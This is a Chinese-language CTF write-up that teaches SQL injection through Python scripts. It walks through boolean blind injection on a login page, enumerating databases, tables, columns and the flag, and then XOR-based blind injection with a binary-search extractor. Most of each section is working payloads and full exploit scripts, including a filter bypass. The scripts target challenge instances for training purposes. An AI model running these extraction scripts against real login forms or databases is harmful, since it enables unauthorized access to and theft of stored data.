基于python脚本的sql注入合集

前言

sql注入在ctf的web方向中是常见题型。简单的sql注入用sqlmap跑一跑自然而然就跑出来了。这篇文章是针对sqlmap跑起来困难的题目,也就是用python写脚本来跑的题目。 那么这种写脚本的题目也有不同的注入方式,例如布尔盲注、时间盲注、异或注入等等,都是通过写脚本来获取sql信息的。这篇文章就写下我认为比较有价值的写脚本题型!

布尔盲注

分析题目

N1BOOK [第一章 web入门]SQL注入-2

这题其实有很多解法,这里我选择比较简答的布尔盲注来实现。

我们首先进入login.php 见到登录页面,先试试admin 发现报错 账号或密码错误

我们在看看其他的用户名 可以发现报错的是 账号不存在

那么我们可以得出结论 当用户名存在时,输错密码报错 用户名或密码错误 当用户名不存在时,无论密码如何都报错 账号不存在 那么我们可以通过这个回显来判断我们的注入语句是否正确。

拿出我们的bp,给网页抓个包,放入repeater

用admin账号登录,显示 用不存在的账号登录

admin:true {"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"} woodwhale:false {"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}

可以明显看到回显的长度不同,我们把输入admin时的回显视为true,输入不存在的用户名的回显视为false,基于这一点,我们写python脚本

我们再判断是字符型还是数字型

回显为true,简单的数字型注入。

在这之后又判断有无过滤,发现select有过滤,用大写即可避开。

爆数据库

对于数据库,我还是得说一句,大部分情况,flag都放在了当前数据库下的某张表中,也就是database(),但是有些题目的flag会放在其他数据库中,所以如果时间充分,我们需要查询所有的数据库。

关键语句

// 查询所有的数据库
(seLect(group_concat(schema_name))from(information_schema.schemata))

当然,因为我们是布尔盲注,所以还有一个关键函数substr,例如 substr(abc,1,1)='a'返回的就是true,substr(str,i,j)的str参数是字符串,i和j表示从第i位开始,第j个字符串。

那么我们可以构造出关键语句

name="admin' and substr((seLect(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}' #"
pass="123"

name中的{0}和{1}是python 的format表达式,和%d %s的作用一样,只不过不需要定义形式。 那么我们将上述data放入一个集合中

data = {'name':"admin' and substr((seLect(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}' #".format(num,i),
        'pass':'123456'}

接着构造脚本

import requests
import time
url = "http://ae08b6be-3b2e-4194-a003-9827cda4497e.node3.buuoj.cn/login.php"
dictionary = '}qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890{'
flag = ""

for num in range(1,500):
    print(num)
    for i in dictionary:
        data = {'name':"admin' and substr((seLect(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}' #".format(num,i),
        'pass':'123456'}
        res = requests.post(url = url, data = data)
        time.sleep(0.2)
        if res.text == r'{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}' :
            flag += i
            print(flag)
            break
print(flag)        

得到运行结果 好的,我们只看到了note有效数据库,那么database()肯定就是note了。

爆表

我们知道了当前数据库是note其实没什么用,因为有效数据库就是它,database()函数的效果与‘note’一致 那么,我们现在需要从note中得到有关表的信息。 关键语句

# 查询数据库的所有表
(select(group_concat(table_name))from(information_schema.tables)where(table_schema='数据库名'))

构造data

 data = {'name':"admin' and substr((seLect(group_concat(table_name))from(information_schema.tables)where(table_schema='note')),{0},1)='{1}' #".format(num,i),
        'pass':'123456'}

构造完上述内容后,我们直接写脚本运行

import requests
import time
url = "http://76af3b30-86c8-4196-a99f-2e250fd602f3.node3.buuoj.cn/login.php"
dictionary = '}qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890{'
flag = ""

for num in range(1,500):
    print(num)
    for i in dictionary:
        data = {'name':"admin' and substr((seLect(group_concat(table_name))from(information_schema.tables)where(table_schema='note')),{0},1)='{1}' #".format(num,i),
        'pass':'123456'}
        res = requests.post(url = url, data = data)
        time.sleep(0.1)
        if res.text == r'{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}' :
            flag += i
            print(flag)
            break
print(flag)        

得到运行结果 那么note数据库中有fl4g和users表。超大概率flag就在fl4g这张表中。

爆字段

我们从fl4g这张表中,将其中的字段爆出来。

关键的sql语句

(select(group_concat(column_name))from(information_schema.columns)where(table_name='表名'))

我们先在bp上实验一下语句是否有问题,这里的语句问题包括单词的拼写是否有问题,括号的位置和数量是否正确等等 我们发现回显true证明语句没问题

那么写data集合

data = {'name':"admin' and substr((seLect(group_concat(column_name))from(information_schema.columns)where(table_name='fl4g')),{0},1)='{1}' #".format(num,i),
        'pass':'123456'}

写完关键集合之后,构造脚本

import requests
import time
url = "http://76af3b30-86c8-4196-a99f-2e250fd602f3.node3.buuoj.cn/login.php"
dictionary = '}qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890{'
flag = ""

for num in range(1,500):
    print(num)
    for i in dictionary:
        data = {'name':"admin' and substr((seLect(group_concat(column_name))from(information_schema.columns)where(table_name='fl4g')),{0},1)='{1}' #".format(num,i),
        'pass':'123456'}
        res = requests.post(url = url, data = data)
        time.sleep(0.1)
        if res.text == r'{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}' :
            flag += i
            print(flag)
            break
print(flag)        

运行得到字段名flag

爆flag

在得知flag位于note数据库下fl4g表中的flag字段下,我们通过简单的select语句就可以得到flag了

关键sql语句

(select(group_concat(字段名))from(数据库名.表名))

在bp中试着跑一下,回显得到true,说明我们的语句没问题 构造data集合

data = {'name':"admin' and substr((seLect(group_concat(flag))from(note.fl4g)),{0},1)='{1}' #".format(num,i),
        'pass':'123456'}

写py脚本

import requests
import time
url = "http://76af3b30-86c8-4196-a99f-2e250fd602f3.node3.buuoj.cn/login.php"
dictionary = '}qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890{'
flag = ""

for num in range(1,500):
    print(num)
    for i in dictionary:
        data = {'name':"admin' and substr((seLect(group_concat(flag))from(note.fl4g)),{0},1)='{1}' #".format(num,i),
        'pass':'123456'}
        res = requests.post(url = url, data = data)
        time.sleep(0.1)
        if res.text == r'{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}' :
            flag += i
            print(flag)
            break
print(flag)        

运行,得到flag

那么到这里最简单的暴力布尔就完成了,为了追求速度,我们可以选择二分脚本来破解。这题就不演示了。二分的话在下面写。

异或注入

异或注入其实也就是运用了异或的布尔盲注,性质与布尔盲注一样,也是判断回显的true OR false

那么简单讲一下异或注入的原理

异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。 mysql里异或运算符为^ 或者 xor 两个同为真的条件做异或,结果为假

那么我们可以利用异或的性质,来做一个简单的过滤判断

http://127.0.0.1/index.php?id=1'^(length('union')=5)%23

当union被过滤时1^0 输出id=1 回显正常 当union没被过滤时 1 ^ 1 输出 id=0 回显 error

根据这个性质,我们引入题目来分析

[CISCN2019 华北赛区 Day2 Web1]Hack World

分析题目

上来就告诉我们flag在flag表的flag字段中,那么我们默认就是当前使用的数据库中

输入1,会回显

Hello, glzjin wants a girlfriend.

输入2,会回显

Do you want to be my girlfriend?

输入0,会回显

Error Occured When Fetch Result.

输入1/1,会回显

Hello, glzjin wants a girlfriend.

和输入1的回显一致,那么是数字型注入

输入1’ or 1=1 #,回显

SQL Injection Checked.

那么是有过滤的

用bp进行fuzz测试 得到length=472的是可以使用的

那么根据这些可以使用的单词来注入。

爆flag

关键sql语句

id=0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})

id=1时我们认为回显时true id=0时我们认为回显时false 那么0^1=1
并且0^0=0 那么如果异或符号后面的语句为真(即为1),就会回显Hello, glzjin wants a girlfriend.,否则回显Error Occured When Fetch Result.

我们在bp上试着跑一下这个语句 发现符合我们的预期。

根据这性质,我们写个二分脚本

import requests
import time

url = 'http://68649546-a733-4808-b46d-b5c5bd9f0f6c.node3.buuoj.cn/index.php'

flag = ''

for i in range(1,3000):
    l = 33
    r = 126
    mid = (l + r) // 2
    while l < r:
        time.sleep(0.1)
        data = {
            'id':'0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid)
        }
        html = requests.post(url,data=data)
        if 'glzjin' in html.text:
            l = mid + 1
        else:
            r = mid
        mid = (l + r) // 2
    if (l <= 33 or l >= 126):
        break
    flag += chr(mid)
    print(flag)
print("flag->:"+flag)

运行得到flag

未完待续